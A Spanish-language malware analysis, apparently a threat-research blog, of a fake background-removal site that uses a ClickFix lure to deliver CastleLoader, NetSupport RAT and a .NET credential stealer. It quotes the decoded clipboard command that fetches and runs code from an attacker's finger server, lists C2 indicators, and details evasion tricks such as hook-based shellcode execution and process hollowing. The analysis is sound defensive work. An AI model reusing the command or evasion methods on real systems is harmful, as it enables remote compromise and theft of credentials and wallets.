ClickFix elimina tu fondo, pero deja el malware

Puntos clave

  • BackgroundFix es un señuelo de ClickFix disfrazado de herramienta gratuita para editar imágenes (advertencia: ¡las páginas de destino de BackgroundFix siguen activas al momento de esta publicación!). Los sitios se ven como cualquier otro servicio de "quitar el fondo de tu foto", con cargas de archivos, barras de progreso y botones de descarga, pero toda la interfaz es falsa. Los pivotes de Validin revelaron ocho dominios relacionados que usan la misma plantilla, lo que sugiere que se trata de una campaña activa y no de un hecho aislado.

  • La cadena de infección distribuye CastleLoader, que a su vez instala tanto NetSupport RAT como un stealer personalizado en .NET (lo llamamos "CastleStealer", siguiendo el espíritu de la franquicia). NetSupport le da al operador acceso remoto práctico; CastleStealer roba credenciales del navegador, datos de extensiones de billeteras y archivos de sesión de Telegram.

  • launch_method: 4 se supone que debe invocar regsvr32.exe. La cadena auxiliar decodificada con XOR en el binario en realidad dice regsrv32.exe - con las letras s y  v intercambiadas, en un binario de Windows que se distribuye desde los años 90. Quien lo escribió aparentemente no se dio cuenta. El método 4 falla silenciosamente cada vez que se invoca. CastleLoader es muchas cosas, pero revisar la ortografía no es una de ellas.

Agradecimientos: Un agradecimiento especial a Sarah Reddish por sus contribuciones a esta investigación y a este informe.

Antecedentes


Figura 1: Sitio malicioso

Probablemente ya tengas una herramienta de confianza para quitar el fondo de tus selfies. Pero imagina a alguien que no la tiene: busca una, hace clic en el primer resultado y termina en un sitio malicioso. Eso es exactamente lo que vimos en Huntress.

El siguiente video muestra cómo funciona. Subes tu imagen, ves una barra de progreso convincente hacer lo suyo y haces clic en Descargar. Ahí viene el giro: te piden verificar que no eres un robot. De ahí en adelante, es bastante evidente: un comando malicioso se copia en tu portapapeles, junto con instrucciones útiles sobre cómo ejecutarlo.


Lo que esto finalmente entrega es CastleLoader, que a su vez suelta NetSupportRAT. Haremos un análisis profundo de los componentes internos de CastleLoader, ya que todavía no he encontrado un informe completo de principio a fin por ahí.

Analizando “BackgroundFix”

Primero las buenas noticias: las imágenes que subes no van a ninguna parte. No se suben al servidor del actor de amenazas, no se envían a ningún endpoint remoto, ni siquiera se procesan localmente.

Cuando el usuario marca la casilla “No soy un robot”, suceden dos cosas. Primero, un payload se copia en el portapapeles mediante el clásico document.execCommand(“copy”). Segundo, la página hace ping a log-checkbox.php mediante navigator.sendBeacon, de modo que el actor de amenazas obtiene telemetría sobre exactamente qué visitantes llegaron al paso de pegar.

El payload en el portapapeles se decodifica así:

%COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit && echo '               ---Verify you are human--------press ENTER---              '

El start “” /min lanza la siguiente etapa minimizada, de modo que la víctima nunca ve aparecer una ventana de comandos. Luego, el for /f “skip=8 delims=” %h in ('finger [email protected]') invoca a finger.exe: sí, el cliente finger viene incluido con Windows desde NT y todavía está ahí para consultar un daemon finger que el atacante controla en cheeshomireciple[.]com. El skip=8 descarta las primeras ocho líneas de la respuesta (el banner y los encabezados que el protocolo finger devuelve por defecto), y lo que llega en la línea nueve se pasa a call %h, que lo ejecuta como un comando.


Figura 2: El beacon de log-checkbox.php disparándose en el momento en que se marca la casilla

Validin viene al rescate otra vez

Aprovechando Validin, pudimos obtener más dominios (consulta la sección de Indicadores de compromiso) que está usando el actor de amenazas; todos tienen la misma plantilla.


Figura 3: Resultados de búsqueda en Validin basados en el título

Análisis técnico de CastleLoader

Travesuras con PowerShell

La respuesta del servidor finger es una salida básica de fingerd de Linux. Si el actor de amenazas tiene un archivo ~/.plan con permisos de lectura configurados para otros, su contenido se añade bajo Plan: El contenido del payload por lotes añadido:

Loading Gist...


Los nombres de las variables son deliberadamente aleatorios: BysywcQbIrLfMjoi y JdqFyReXmqSfylHt burlan la búsqueda basada en cadenas. La segunda se resuelve en un nombre de archivo como <N><M>.exe donde cada N/M es el %RANDOM% de cmd (0-32767), de modo que cada infección renombra el binario de Python a algo único, por ejemplo 29693877.exe.

El script mata y reinicia explorer.exe, lo que hace que la barra de tareas y los íconos del escritorio desaparezcan y luego vuelvan a aparecer. ¿Por qué? No está claro; tal vez al operador simplemente le gusta el espectáculo. La cadena "trae tu propio intérprete" (BYOI) es la parte operativamente interesante. curl.exe descarga la distribución embebible legítima de la Python Software Foundation desde python.org, guardándola con una extensión .pdf para parecer inofensiva a cualquier usuario que vea el nombre del archivo. Luego, Tar.exe extrae el zip a pesar de la extensión engañosa.

El wrapper de Python luego se desempaqueta en tres capas: decodificación base64, descompresión zlib y decodificación UTF-32. Lo que sale es un script descargador corto: deshabilita la validación de certificados TLS, obtiene otro payload de Python desde hxxps://trindastal[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc8, espera ~2 segundos, y ejecuta la respuesta con exec(). La respuesta de /loc8 es otro script de Python, y aquí es donde aparece un truco de sustitución cirílica. Antes de la decodificación base64, el script reemplaza un puñado de caracteres cirílicos de vuelta a caracteres latinos.

replace('Ф', '/').replace('В', 'R').replace('С', 'v').replace('Л', 'G').replace('М', 'y').replace('к', 'A').replace('Ё', '4')).decode('utf-8')) Después de deshacer la sustitución y decodificar los blobs base64, el script es un cargador de shellcode con ctypes.

Después de deshacer la sustitución y decodificar los blobs base64, el script es un cargador de shellcode con ctypes.


Figura 4: Cargador de shellcode con ctypes en Python

El shellcode está encriptado con XOR usando una clave repetitiva de 16 bytes. Se llama a HeapCreate con 0x00040000 (HEAP_CREATE_ENABLE_EXECUTE) y a HeapAlloc con 0x00000008 (HEAP_ZERO_MEMORY), lo que produce una asignación de heap ejecutable en un solo paso. RtlMoveMemory copia el shellcode desencriptado, y CFUNCTYPE(c_void_p)(ptr)() convierte el puntero en algo invocable y lo ejecuta.

Shellcode #1

Una vez que CFUNCTYPE(ptr)() salta, entramos en aproximadamente 8,6 KB de shellcode. Cada llamada a la API sigue el patrón típico: un helper devuelve la base de un módulo, otro resuelve una exportación mediante un hash. El algoritmo de cálculo de resúmenes criptográficos es simplemente djb2: se inicializa en 5381, se multiplica por 33 y se suma cada byte:

Loading Gist...


En lugar de tomar el hash objetivo como argumento, lo lee de los 32 bits superiores de la dirección de retorno en la pila. Cada sitio de llamada empuja un único literal de 64 bits donde el dword bajo es un centinela (0xFFFFFFFF) y el dword alto es el hash djb2 esperado. El resolutor verifica el dword bajo para confirmar que se empujó una dirección de retorno real, y luego compara el hash de cada exportación con el dword alto.


Figura 5: Sitio de llamada a la API: el push lleva un centinela (dword bajo) y el hash djb2 de VirtualProtect (dword alto); el resolutor lee el hash desde su propia dirección de retorno

El resolutor de módulos hace un recorrido del PEB. Desreferencia los datos del cargador a través de InLoadOrderModuleList, recorre cada entrada, convierte el nombre del módulo UNICODE a ASCII, lo somete al cálculo de resúmenes criptográficos y lo compara con el hash esperado. Luego, el resolutor de exportaciones hace el recorrido estándar del directorio de exportaciones: itera AddressOfNames, calcula el resumen criptográfico de cada uno, los compara y busca el RVA correspondiente mediante AddressOfNameOrdinals + AddressOfFunctions.

El resolutor de módulos toma un entero de alcance y devuelve la base del DLL correspondiente. Cada nombre de DLL se construye en la pila, dos bytes a la vez.

Ámbito

DLL

0

ntdll.dll

1

kernel32.dll

2

shlwapi.dll

3

user32.dll

4

wininet.dll

5

shell32.dll

6

comdlg32.dll


El shellcode descarga el payload de la siguiente etapa desde hxxps://trindastal[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/v8, con la URL armada mediante stack strings. Pero no te emociones todavía, ¡el shellcode de la segunda etapa viene cifrado! La rutina de descifrado que se encuentra entre el resolvedor de la API y el descargador es RC4. Una vez que se descarga el payload, el shellcode resuelve VirtualProtect, cambia el búfer a PAGE_EXECUTE_READWRITE, y llama a la rutina RC4 con una disposición de argumentos un tanto interesante: el puntero del texto cifrado es el búfer descargado más 64, la longitud del texto cifrado es el tamaño total menos 64, y el puntero de la clave es el propio búfer con una longitud de clave de 64. En otras palabras, los primeros 64 bytes de cada descarga son la clave RC4 y todo lo que viene después es texto cifrado.


Figura 6: Primer bucle del KSA de RC4: S[i] = i se ejecuta a lo largo de 256 iteraciones, llenando byte a byte el arreglo de estado basado en la pila. El div dword ptr [rbp+14h] es el ajuste de i % keylen contra la longitud de clave proporcionada por quien llama.

Una vez descifrado el búfer, el shellcode no salta directamente a él. En cambio, usa un truco creativo: le pasa el control al payload a través de ReplaceTextW, la API del diálogo "Buscar y reemplazar" de Windows, perteneciente a comdlg32.dll. Por eso comdlg32 apareció antes en la tabla de DLL.

ReplaceTextW normalmente abre el pequeño cuadro de diálogo de Buscar y reemplazar que verías en Notepad o Word. Cada diálogo de Windows ejecuta su lógica llamando a una función de retorno (callback) en respuesta a mensajes como "el usuario hizo clic en un botón" o "el usuario escribió algo". Microsoft te permite proporcionar tu propio callback adicional, un hook que también se llama para cada mensaje que recibe el diálogo, de modo que los desarrolladores puedan personalizar el comportamiento del diálogo. Ese hook es solo un puntero a función, y Windows llama a cualquier puntero que le entregues.

El shellcode abusa de esto: construye una estructura FINDREPLACEW en la pila con FR_ENABLEHOOK activado en Flags y lpfnHook apuntando al inicio del payload descifrado:

Loading Gist...


La rutina de entrada del shellcode llama a un auxiliar que revisa si hay un payload configurado localmente. Primero llama a FindFirstFileW("*.ini", ...) en el directorio de trabajo actual y luego inspecciona GetLastError(). Si el error es ERROR_NO_MORE_FILES (0x12), no hay ningún INI presente y el auxiliar retorna de inmediato. Si hay un INI presente, el auxiliar lo lee mediante GetPrivateProfileStringW bajo una sección [install], extrayendo tres claves: package_name (la ruta o nombre del archivo del payload real), install_path (un argumento de lanzamiento adicional) y run_as_admin (un indicador). Abre package_name con CreateFileW, lee el archivo completo en un búfer del heap y descifra con RC4 todo lo que sigue después de un encabezado de 128 bytes, usando el propio encabezado como clave, el mismo patrón usado para el payload web, solo que con una clave más larga. El lanzamiento luego se bifurca según si el INI también especificó un valor de install_path: si es así, el auxiliar construye una línea de comandos msiexec.exe /i "%s" y se la entrega a ShellExecuteW; si no, llama directamente a ShellExecuteW sobre el archivo descifrado. En cualquier caso, el primer carácter de run_as_admin determina el verbo: "1" obtiene runas para elevación, cualquier otro valor obtiene open.

El shellcode luego resuelve ReplaceTextW (hash djb2 0xC8C304DD) y lo llama. Windows comienza a configurar el diálogo, y como parte de esa configuración llama al hook con el mensaje inicial WM_INITDIALOG, lo que significa que el propio Windows salta hacia el payload descifrado antes de que el diálogo llegue a renderizarse. El propósito de todo este esfuerzo es la evasión. "El shellcode llama a VirtualProtect y luego salta a su propio búfer" es un patrón que probablemente todos los EDR vigilan. "Un proceso llama a ReplaceTextW" parece un programa abriendo un cuadro de diálogo y no llama la atención. El payload se ejecuta, pero desde la perspectiva de Windows, estaba haciendo algo perfectamente normal.

Shellcode n.º 2 - Cargador reflectivo de PE

Lo que el shellcode n.º 1 descifra y entrega mediante el truco de ReplaceTextW es un blob de 297.460 bytes con una estructura limpia de dos partes. Los primeros 0xE00 bytes son un pequeño cargador reflectivo de PE de 32 bits. Todo lo que sigue, comenzando en el desplazamiento 0xE00, es un PE incrustado que el cargador mapea en memoria y ejecuta.

El cargador hace en modo usuario lo que Windows normalmente haría con un EXE en disco: analiza los encabezados del PE, asigna memoria en la base de imagen preferida, copia los encabezados y las secciones, corrige las direcciones absolutas, completa la IAT mediante LoadLibraryA y GetProcAddress, y salta al punto de entrada. Las importaciones propias del cargador se calculan con hash djb2 usando el mismo algoritmo y recorrido de PEB que el shellcode n.º 1.


Figura 7: La rutina principal del cargador reflectivo a la izquierda, con el resolutor de importaciones que llama expandido a la derecha. Cada DLL de descriptor de importación se carga con LoadLibraryA y cada función con GetProcAddress.

La mayoría del malware asigna memoria llamando a VirtualAlloc. Los EDR lo saben, así que enganchan VirtualAlloc para inspeccionar cada llamada. Pero VirtualAlloc en sí misma simplemente termina llamando a una función de nivel inferior en ntdll.dll llamada NtAllocateVirtualMemory para hacer el trabajo real, eso es lo que realmente asigna la memoria.

Este cargador omite por completo VirtualAlloc y llama directamente a NtAllocateVirtualMemory. La memoria se sigue asignando, pero el hook del EDR en VirtualAlloc nunca se activa porque VirtualAlloc nunca fue llamada. El mismo truco se aplica a NtUnmapViewOfSection, que se usa en la ruta de respaldo descrita abajo en lugar del más común UnmapViewOfFile.

Si la asignación en la base preferida falla porque algo más ya está mapeado ahí, y el PE incrustado no tiene reubicaciones a las que recurrir, el cargador llama a NtUnmapViewOfSection para desalojar lo que esté ocupando 0x400000 y reintenta. Dentro de un python.exe recién iniciado, la base preferida normalmente está libre, pero el cargador está dispuesto a desmapear un módulo legítimo para hacer espacio al payload si es necesario, eso es una variante de process hollowing.

Lo último que hace el cargador antes de saltar al punto de entrada es reescribir el PEB. Cada proceso de Windows mantiene una estructura en su propia memoria llamada PEB (Process Environment Block) que le indica al proceso cosas sobre sí mismo: cuál es su EXE principal, dónde está cargado, qué DLL están mapeadas. Después de que el PE incorporado se mapea en new_base, se reescriben tres campos en el PEB del python.exe en ejecución.


Figura 8: reescritura del PEB


main_module es el primer nodo en la lista de módulos del cargador, que por convención siempre es el EXE principal del proceso, en este caso, python.exe. Después de las escrituras, tanto PEB.ImageBaseAddress como el DllBase de la primera entrada de módulo apuntan al PE incorporado dentro de la memoria de python.exe.

No se inyectó nada en ningún lado, simplemente hay dos imágenes PE ubicadas en el espacio de direcciones de python.exe (el intérprete de Python en su propia base, y el PE incorporado en new_base), y el PEB se editó para afirmar que el PE incorporado es la imagen principal.

La razón de la reescritura es que el PE incorporado espera ser el EXE principal del proceso. Cuando un programa normal llama a GetModuleHandle(NULL) para preguntar dónde está cargado, Windows devuelve el valor en PEB.ImageBaseAddress. Como el cargador reflexivo no pasó por el cargador de Windows, ese campo todavía contiene la base de python.exe, y el PE incorporado obtendría la respuesta equivocada. La reescritura soluciona esto, de modo que el PE incorporado pueda encontrarse a sí mismo en la memoria de la misma manera que cualquier EXE normal.

Saltar al punto de entrada no tiene nada de especial. El encabezado opcional del PE tiene un campo AddressOfEntryPoint que es un RVA (un desplazamiento desde la base de la imagen): 0x22682 para nuestro PE incorporado. El cargador suma eso a new_base para obtener la dirección real en memoria (0x422682), la convierte en un puntero a función y la llama. La ejecución sale del cargador y comienza a correr dentro del PE incorporado.

Dentro del castillo

Cálculo de resúmenes criptográficos de API

Cada llamada a la API en CastleLoader pasa por dos ayudantes. El primero toma un pequeño entero de alcance (de 0 a 14) y devuelve la dirección base de una DLL recorriendo las entradas del cargador en el PEB y comparando sus nombres de módulo con una tabla de hash codificada de forma fija. El segundo toma una base de DLL más un hash de nombre de exportación, recorre el directorio de exportaciones de esa DLL, calcula el resumen criptográfico de cada nombre y devuelve el puntero a función de la coincidencia.

El hash en sí es una función de pasos alternantes con 0xAAAAAAAA como estado inicial. Para cada carácter del nombre de la API, el algoritmo elige una de dos operaciones según si el índice es par o impar. En los índices pares calcula (state << 7) ^ (c * (state >> 3)); en los índices impares calcula ~((state << 11) + (c ^ (state >> 5))). El resultado se combina mediante XOR con el estado, y el estado final de 32 bits es el hash.

La tabla de nombres de DLL en el resolutor está protegida con el mismo esquema de cifrado de cadenas descrito en la siguiente sección. Once de los quince nombres están codificados con XOR usando claves de 4 bytes por nombre; solo cuatro nombres comunes y cortos (ntdll, ole32, psapi, gdi32) están en texto plano en la tabla. El resolutor también actúa como un cargador perezoso de DLL: si una DLL objetivo aún no está mapeada en el proceso cuando se solicita su alcance, el resolutor la trae mediante LoadLibraryW. Así es como el binario llega a iphlpapi, crypt32, winhttp, wininet y otras DLL del sistema Windows sin que ninguna aparezca en sus importaciones declaradas.


Figura 9: tabla de nombres de DLL dentro del resolutor de API, cada case decodifica un nombre de biblioteca

Cifrado de cadenas

El cargador usa dos patrones para las cadenas, mezclados a lo largo del binario según para qué sirve cada cadena. El primer patrón es la construcción de cadenas en texto plano en la pila: una secuencia de mov dword ptr [ebp-N], imm32. Esto aparece en cadenas cortas e inofensivas como url, args, id, y cadenas de formato printf, cosas que el desarrollador no se molestó en ocultar porque son tan genéricas que encontrarlas probablemente no revela nada.

El segundo patrón son cadenas codificadas con XOR en la pila. El compilador coloca un búfer de bytes revueltos en la pila como constantes, y luego un bucle corto los combina mediante XOR con una clave de 4 bytes tomada de .rdata. La clave solo tiene 4 bytes, así que se reutiliza: los bytes 1-4 de la cadena revuelta se combinan con XOR contra la clave, luego los bytes 5-8 contra la misma clave otra vez, y así sucesivamente. El resultado es la cadena real. La mayoría de las cadenas de interés operativo, como nombres de campos, rutas de instalación y nombres de encabezados, usan este patrón.


Figura 10: bucle de decodificación XOR: WORD revueltos ubicados como constantes en la pila, luego desordenados en su lugar contra una clave rotativa de 4 bytes tomada de .rdata. 

Configuración y comunicación con el C2

El cargador construye un contexto de configuración en el heap que contiene todo lo que necesita para comunicarse con su C2: una lista de URL base, un identificador de campaña, un token de autenticación, un identificador de instancia, y la clave y el nonce de ChaCha20 usados para cifrar el tráfico del C2.

La configuración de esta muestra se decodifica de la siguiente manera:

URL base del C2: hxxps://trindastal[.]com/8250d149-9bf8-566d-9d7d-ea925eae0a4

UUID de campaña de compilación: b47e1791-82ba-544f-9aab-ebbdd36d8c89 

Token de autenticación: D63TnQ3WhSnjI0yVKaILRu8U1WttdnE

ID de instancia: YvAPcF0OnjSYuDW7QosQ

Clave ChaCha20 (32 bytes): f5dbaa09e60343f252a80d4a313a36ac11442d96b0896022d1a83744e3c11feb

Nonce ChaCha20 (12 bytes): bbbbf632514c0caae655b2c4

Las entradas de tipo string cumplen cada una doble función en el protocolo. El UUID de la campaña de compilación aparece en dos lugares según cuál sea la solicitud. En la obtención inicial de configuración (un GET sin cuerpo), el UUID se agrega a la URL: GET <base_url>/<campaign_uuid>. En cada check-in (un POST), la URL vuelve a ser solo la base y el UUID se envía dentro del cuerpo cifrado como el campo campaign_identifier. El token de autenticación aparece como el "User-Agent" HTTP User-Agent Y como el campo del cuerpo access_key: el C2 ve el mismo identificador en ambos lugares, lo que hace que el tráfico de una compilación de CastleLoader sea trivialmente identificable a nivel de red si puedes leer el encabezado User-Agent. El ID de instancia se usa tanto como nombre de ÃMutex (CreateMutexW, puerta de instancia única) como nombre de archivo del marcador de instalación en C:\ProgramData\<instance_id>, el mecanismo que impide el reinicio, que veremos en la sección de indicadores de configuración.

Un PCAP capturado muestra ambas formas de URL en acción: el GET inicial de configuración con el UUID de campaña en la ruta, seguido del POST de check-in que elimina el UUID de campaña de la URL y lo envía dentro del cuerpo cifrado con ChaCha20.


Figura 11: Solicitud GET inicial


Figura 12: Solicitud POST con cuerpo cifrado

Tareas del loader

El flujo de obtención de tareas es sencillo. El loader envía una solicitud get_tasks a su endpoint de C2, identificándose con un access_key, campaign_identifier y machine_id, además de campos de huella digital del equipo como el nombre de usuario, el nombre del equipo, la versión de Windows y los productos antivirus instalados. El C2 devuelve un blob cifrado con ChaCha20 y envuelto en base64. El loader lo descifra usando un par clave/nonce de ChaCha20 codificado de forma fija (clave f5dbaa09e60343f252a80d4a313a36ac11442d96b0896022d1a83744e3c11feb, nonce bbbbf632514c0caae655b2c4), lo que produce un formato de objeto codificado en binario personalizado que se mapea claramente a JSON. El loader analiza cada campo de la tarea uno por uno según su nombre, completa una estructura de tarea en memoria y la despacha al lanzador correspondiente.

Así se ve una de las solicitudes get_tasks capturadas después de descifrarla:

Loading Gist...

La respuesta del C2 se descifra en un bloque de configuración más un arreglo de definiciones de tareas. El bloque de configuración trae seis indicadores que controlan el comportamiento general del loader, no el comportamiento por tarea:

Loading Gist...


Estos son dos patrones de despliegue muy distintos, uno al lado del otro. La primera tarea es una entrega de NetSupport RAT: descarga un archivo ZIP desde obelnamevalf[.]org, lo descifra con RC4 usando la clave de la tarea, extrae client32.exe del ZIP, lo escribe en %ProgramData%\CeoliauD\Dabkina, se registra como una tarea programada con disparador de inicio de sesión para que el payload se ejecute en el próximo inicio de sesión, y captura una captura de pantalla del escritorio para exfiltrarla. El método de lanzamiento 14 significa "colocar con un nombre de archivo aleatorio, no lanzar directamente", así que la ejecución proviene de la tarea programada en el próximo inicio de sesión. La segunda tarea es solo en memoria: con install_path vacío, método de lanzamiento 7 para inyección APC, obtiene net40.bin e inyecta el binario .NET resultante en un proceso objetivo sin tocar el disco y sin ninguna persistencia. Ambas tareas establecen use_encrypted_container = 1 con claves RC4 completamente distintas, lo que confirma que el C2 rota las claves de cifrado por cada entrega en lugar de usar una clave fija para toda la campaña. El objeto de respuesta descifrado se ve así:

Loading Gist...


Cada nombre de clave decodificado del binario coincide textualmente con lo que vemos en el tráfico de C2 capturado:

Loading Gist...


Una vez que una tarea termina de ejecutarse, el bot se comunica con un mensaje send_execution_status para reportar el resultado. La estructura refleja la de get_tasks para fines de correlación, con el mismo access_key, campaign_identifier y machine_id, pero con tres campos nuevos específicos del reporte: el task_id que se está reportando, un booleano is_success y un entero error_code para los casos de fallo. Si la tarea original tenía make_screenshots: 1 activado, se agrega un contenedor screenshots que lleva la imagen de escritorio capturada como un blob binario sin procesar. Para la tarea 11 de la respuesta anterior (la entrega de NetSupport), el callback de estado del bot se descifra así:

Loading Gist...


El campo launch_method es el campo más importante de una tarea: selecciona cuál de las catorce rutinas lanzadoras ejecuta realmente el payload. La tabla de despacho no es más que una secuencia de pruebas de comparación y bifurcación en la rutina principal de lanzamiento, donde cada valor dirige a un manejador distinto. Algunos manejadores ejecutan el payload directamente mediante la API de Windows; otros lo envuelven en cmd.exe o PowerShell; uno (método 14) no lanza nada y depende por completo de startup_method para la ejecución.

Loading Gist...


Las variantes de PowerShell merecen una mención especial: los métodos 10, 11 y 12 le dan al operador tres formas distintas de invocar PowerShell sobre el contenido del campo args, según si quiere ejecutar un comando directo, un comando codificado en base64 o un archivo de script.

Otro stealer aburrido, ¿o deberíamos llamarlo CastleStealer?

El payload net40.bin entregado mediante la tarea 12 es un ensamblado .NET ofuscado.

Cada constante de cadena significativa en el binario está envuelta en una llamada a un descifrador personalizado.

La cadena cifrada comienza con un encabezado de 9 bytes que le dice a min628 todo lo que necesita saber: un valor mágico para confirmar que se trata de un blob cifrado real (num & 15 == 1), un modo de 2 bits que elige qué variantes de transformación usar, una semilla de 16 bits (la clave por cadena), la longitud del payload y un checksum de 16 bits para validar el resultado al final. Cada campo del encabezado está a su vez codificado con XOR contra la semilla, así que ni siquiera puedes leer el encabezado sin decodificarlo primero.

Una vez analizado el encabezado, min628 recorre el payload codificado byte por byte. Para cada byte, calcula un nuevo valor de keystream de 16 bits (num9) con base en tres cosas: la semilla, la posición del byte en la cadena y un valor num6 que se actualiza después de cada byte. Luego pasa el byte por cuatro transformaciones en orden:

Paso

Descripción

1

Buscar el byte en una tabla de sustitución de 256 entradas (page38)

2

Aplicar XOR o restar los 8 bits bajos del keystream (num2 & 2 elige cuál)

3

Rotar los bits a la derecha entre 3 y 10 posiciones

4

Aplicar XOR o restar los 8 bits altos del keystream (num2 & 1 elige cuál)

Después de los cuatro pasos, tienes un byte en texto plano. El descifrador lo incorpora al checksum acumulado (num7) y actualiza num6 para que el keystream del siguiente byte dependa del texto plano de este byte. Ese último detalle es el más importante. Como cada byte alimenta el keystream del siguiente byte a través de num6, no puedes descifrar ningún byte sin descifrar todos los anteriores. Cuando se procesan todos los bytes, num7 se compara con el checksum esperado del encabezado. Si no coinciden, min628 devuelve un arreglo vacío.


Figura 13: constructor estático de row56: un alfabeto hexadecimal codificado (arriba) y la S-box de 256 bytes (abajo)


Figura 14: Descifrador de cadenas

Antianálisis

Lo primero que hace el binario es una verificación de configuración regional rusa. La lista de idiomas MUI obtenida de la clase WMI Win32_OperatingSystem se compara con el literal “ru-RU”, y si algún idioma de interfaz instalado coincide, la ejecución termina de inmediato. Ese es un comportamiento estándar de omisión por CIS: no se ejecutará en máquinas que reporten el ruso como idioma de interfaz instalado.

Huella digital del endpoint

Después del filtro de configuración regional, el stealer ejecuta cuatro consultas WMI contra root\CIMV2. Win32_OperatingSystem aporta Caption (nombre del SO), Version, OSArchitecture y MUILanguages (la lista de idiomas de interfaz instalados, también usada en la verificación de configuración regional rusa). Win32_Processor aporta NumberOfCores, NumberOfLogicalProcessors y Name (con un respaldo en el registro a HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString). Win32_VideoController aporta el nombre de la GPU y la resolución de pantalla actual (una heurística común antimáquina virtual). Win32_ComputerSystem aporta UserName y Domain, ambos con respaldos de Environment. Se captura una captura de pantalla del escritorio mediante Graphics.CopyFromScreen y se codifica en JPEG dentro del mismo beacon. Se genera un GUID de sesión 182cc082-f104-4b5f-9975-1d8f51f43d07, y todo el paquete se envía al endpoint de C2 en 38.146.28[.]30:22989 mediante un socket TCP sin procesar, usando un serializador binario personalizado.

Si está en el disco, está en el menú

Una vez que se completa el beacon del endpoint, el C2 responde con una lista de tareas que contiene plantillas de rutas, filtros por extensión de archivo y definiciones de conjuntos de archivos. Las plantillas de rutas usan una sintaxis de marcadores de posición $DOCUMENTS$, $PROGRAMFILES$, $LOCAL$, $ROAMING$, %recent%, %systemroot% que el cliente expande localmente. El mismo binario puede recibir instrucciones para capturar conjuntos de archivos completamente distintos por víctima sin cambios de código, y el operador puede iterar la lógica de recolección del lado del servidor.

La lista de rutas estática compilada en el binario se combina con una segunda pasada impulsada enteramente por rutas provistas por el C2, y ambas pasadas comparten la misma lista de filtros de extensión por objetivo (.exe, .dll, .lnk, .tmp, .log, .jpg, .png, además de objetivos con nombre coincidente como wallet, lock, profiles.ini). El modelo de recolección es lo bastante configurable como para que la misma compilación se pueda reasignar entre diferentes campañas sin recompilarla.

Entrega la billetera, las cookies y Telegram de una vez 

Para los navegadores de la familia Chromium, el stealer lee Login Data (el almacén de contraseñas SQLite), cookies.sqlite y Local State (que contiene la clave maestra AES cifrada con DPAPI; el binario importa crypt32.dll!CryptUnprotectData específicamente para descifrarla). Recorre los directorios Local Extension Settings, Sync Extension Settings e IndexedDB en cada perfil, con un manejo especial para las rutas chrome-extension_* y _0.indexeddb.leveldb (esa es la captura de las extensiones de billetera). MetaMask, Phantom, Trust Wallet, Ronin y billeteras similares guardan sus bóvedas cifradas en IndexedDB, que es de donde provienen las credenciales de las billeteras de criptomoneda. Firefox se enumera mediante profiles.ini. Discord se ataca por nombre de directorio con el típico patrón de robo de tokens de Local Storage/leveldb, y las sesiones de Telegram se roban por completo copiando todo el directorio tdata. Telegram autentica según el contenido de esa carpeta, así que una copia equivale a tomar control de la sesión. La recolección genérica de archivos cubre archivos de billeteras de criptomoneda que coinciden con el nombre de directorio wallet más las extensiones .dat y .json. Un vacío notable: las cadenas descifradas no contienen ninguna referencia a la interfaz COM IElevator de Chrome, al 463ABECF-410D-407F-8AF5-0DF35A005CC8 CLSID, al DevTools Protocol, ni a la inyección en chrome.exe, las técnicas que los stealers modernos usan para eludir el cifrado App-Bound. Esta compilación implementa únicamente la ruta de extracción heredada DPAPI-luego-AES.

Restart Manager para archivos bloqueados

Un detalle de implementación que vale la pena destacar: el stealer importa RmStartSession, RmRegisterResources, RmGetList y RmEndSession de rstrtmgr.dll. La API de Restart Manager es la que usan los instaladores de Windows para manejar con elegancia los conflictos de archivos en uso: identifica qué procesos tienen bloqueado un archivo objetivo y permite al llamador liberar el bloqueo de forma limpia en lugar de matar el proceso. Las bases de datos de los navegadores, el almacenamiento local de Discord y los archivos de sesión de Telegram quedan bloqueados mientras sus respectivas aplicaciones están en ejecución, y la mayoría de los stealers básicos fallan en esto o recurren a taskkill. Usar Restart Manager es el enfoque más limpio: no genera la telemetría obvia de matar un proceso a la fuerza, y en realidad funciona cuando los enfoques básicos no. Lumma y Stealc adoptaron este patrón durante el último año, y se está volviendo estándar entre los stealers comunes.

Process hollowing hacia PowerShell

El stealer también incluye una primitiva de process hollowing dirigida a PowerShell. Las cadenas revelan un resolutor dinámico para el conjunto estándar de API de hollowing, como NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection, NtCreateThreadEx, NtTerminateProcess, NtClose, todas importadas directamente de ntdll.dll para eludir los hooks en modo usuario en los envoltorios Win32 de nivel superior.

El objetivo de la inyección es específicamente powershell.exe. El stealer usa IsWow64Process para decidir si lanza la copia de 32 o 64 bits y resuelve la ruta contra C:\Windows\System32\WindowsPowerShell\v1.0 o C:\Windows\SysWOW64\WindowsPowerShell\v1.0, según corresponda.

Autoeliminación

La limpieza es el truco clásico por lotes: cmd.exe /C ping 1.0.0.1 & del "<path>". La dirección inalcanzable 1.0.0.1 (no 127.0.0.1) hace que ping tarde varios segundos en agotar el tiempo de espera, lo que le da al proceso principal tiempo para cerrarse por completo antes de que del intente eliminar el archivo.

Comunicaciones con el C2

El tráfico hacia 38.146.28[.]30:22989 se transmite por un socket TCP sin procesar y está cifrado, pero el cifrado es sencillo una vez que sabes dónde buscar. Cada mensaje en la conexión está autoenmarcado:

Loading Gist...


El protocolo usa dos claves: la clave estática AES-128 está codificada directamente en el binario. El cliente abre la conexión TCP y envía un mensaje con la huella de identificación del equipo, cifrado con la clave estática. El payload contiene el GUID de la sesión, los detalles del equipo recopilados por WMI (nombre del sistema operativo, versión, arquitectura, idiomas MUI, nombre de la CPU, cantidad de núcleos, nombre de la GPU, resolución de pantalla, nombre de usuario, dominio) y la captura de pantalla en JPEG, todo empaquetado en el formato de sobre del serializador binario tipado (0x54 para el objeto externo, 0x12 para cadenas con prefijo de longitud, 0x51 para arreglos de bytes, etc.). El servidor responde con otro mensaje cifrado con la clave estática, cuyo primer campo es un arreglo de bytes de 32 bytes: la clave de sesión AES-256 para el resto de la conversación. Todo el tráfico posterior en ambas direcciones usa la clave de sesión. AES-256-CBC, relleno PKCS7, IV nuevo por mensaje.

Conclusión 

